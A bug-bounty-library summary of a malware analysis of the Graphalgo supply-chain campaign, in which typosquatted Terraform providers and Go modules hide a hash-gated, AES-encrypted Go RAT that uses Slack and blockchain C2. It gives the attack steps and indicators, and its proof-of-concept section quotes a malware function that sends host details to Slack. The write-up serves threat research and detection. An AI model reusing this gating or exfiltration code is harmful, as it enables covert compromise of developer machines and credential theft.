# Graphalgo campaign spreads to Terraform providers and Go Modules

Malicious Terraform providers and Go modules hid a Go RAT behind a SHA256-gated AES-encrypted second stage, beaconing via Slack and an Arbitrum smart contract.

- Payout: Real-world hack
- Severity: high
- Program: Terraform providers
- Analysis by: Aikido Security
- Disclosed: 2026-09-22
- Write-up quality: 8/10
- Original: https://www.aikido.dev/blog/graphalgo-terraform-go-modules
- Library page: https://bugbountylibrary.com/r/blog%3Aaikido-dev-blog-graphalgo-terraform-go-modules
- Tags: area:cloud domain:infra domain:oss impact:data-leak impact:internal-access kind:incident platform:threat-intel sev:high tech:ci-cd tech:go technique:reverse-engineering technique:source-review vuln:misconfiguration vuln:secrets-leak

**Target:** Terraform provider Go source and Go modules (supply chain packages)
**Root cause:** Typosquatted/forged Terraform providers and Go modules ship a hidden entry point in resource_docker_container_funcs.go that only fires when SHA256(containerName+networkID) equals a hardcoded digest; that hash is the AES key decrypting a bundled ZIP payload.
**Steps:**
1. Publish typosquat provider `kreuzwenker/docker` (vs kreuzwerker/docker) and `gocommunity-io/dockerd`.
2. Embed hidden entry point in `/internal/provider/resource_docker_container_funcs.go` gated on `SHA256(containerName + networkID) == b9966e3762e9a0d5d263b8cb3cca07294f81af9714d40ddf4628cb85d74e8ad5`.
3. Use that hash as AES key to decrypt a file path from within the package.
4. Unzip `examples/resources/docker_container/import-resource.sqlite3` (SHA256 `5f892a5424e88a21a3eb3d7f82ebf04d8ac31cdb19ada25153be4165df977d0f`), AES-decrypt each contained file.
5. Execute decrypted code as a Go package via detached `go run .`.
6. Second stage gathers OS/arch/hostname/username/home/node presence and posts to Slack channel `frontend-devs` in `portfolio-devs.slack.com` via api.slack.com.
7. Generate ephemeral keypair, derive shared keys with two TA public keys (hardcoded `302a300506032b656e032100bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702`), write client pubkey to Slack, then move C2 to `portfolio-testers.slack.com` channel `qa-announcements`.
8. Blockchain C2: read Arbitrum Sepolia contract `0xAD02b5cDE693529d3bdA0266299501ad0193036C`, fetch shared wallet private key, decrypt with same key material, get TA pubkey, derive shared key, write ephemeral privkey via `setCPubKey`, read commands from `serviceData1`/`serviceData2`.
9. Poll blockchain every 3s and Slack every 10s; decrypted messages carry a header instructing execution as Go/JS via node or self-delete.
**How found:** Researchers spotted new Terraform providers including a typosquat of kreuzwerker/docker, read the provider source, and found a hash-gated branch in resource_docker_container_funcs.go; recognized the SHA256 constant as an AES key and traced the encrypted ZIP payload, then linked the Go RAT's public key and Slack/contract infrastructure to the earlier Graphalgo NPM campaign.
**Exploitation:** Targeted: provider is inert unless the operator's containerName+networkID concatenation hashes to the magic digest, so only intended victims trigger the AES-decrypted second stage, which runs detached via `go run .` and establishes dual Slack/blockchain C2 for command execution on DevOps workstations with production credentials.
**Escalation:** Targeting Terraform users gives direct pathway to cloud/infrastructure credentials; forged commits backdated to Nov 2025 on gogets-dev/btreex to spoof release dates on pkg.go.dev and the Go module proxy; fake ecosystems gogets.dev and gocommunity.io built for social engineering legitimacy.
**Insight:** Registry typosquats of high-download providers can hide activation behind a value-derived hash gate (here SHA256 of two Terraform variables) so scanners and casual installs see inert code; grep provider/module source for SHA256 constants compared to computed digests and for AES-decrypt-then-`go run .` patterns.

## Proof of concept (copied exactly from the original report)

**Go malware check-in function posting system info to Slack**

```
func _ddb43801486d() error {
 _ac1ff2594eef := helper.Keys()
 _f20c82d34751, _f2b064c41863 := exec.LookPath("node")
 if _f2b064c41863 != nil {
 _f20c82d34751 = ""
 }
 _352b068ec729 := fmt.Sprintf(
 "*🖥️ System Report*\n"+
 "- Platform : `%s`\n"+
 "- Arch : `%s`\n"+
 "- Hostname : `%s`\n"+
 "- Username : `%s`\n"+
 "- Home Dir : `%s`\n"+
 "- Node : `%s`\n"+
 "- Time : `%s`\n",
 _ac1ff2594eef.OS,
 _ac1ff2594eef.Architecture,
 _ac1ff2594eef.Hostname,
 _ac1ff2594eef.User.Username,
 _ac1ff2594eef.User.HomeDir,
 _f20c82d34751,
 _ac1ff2594eef.Time.Current,
 )

 if _0a93526f257a := helper.NewWith(_352b068ec729); _0a93526f257a != nil {

 }

 return nil
}
```

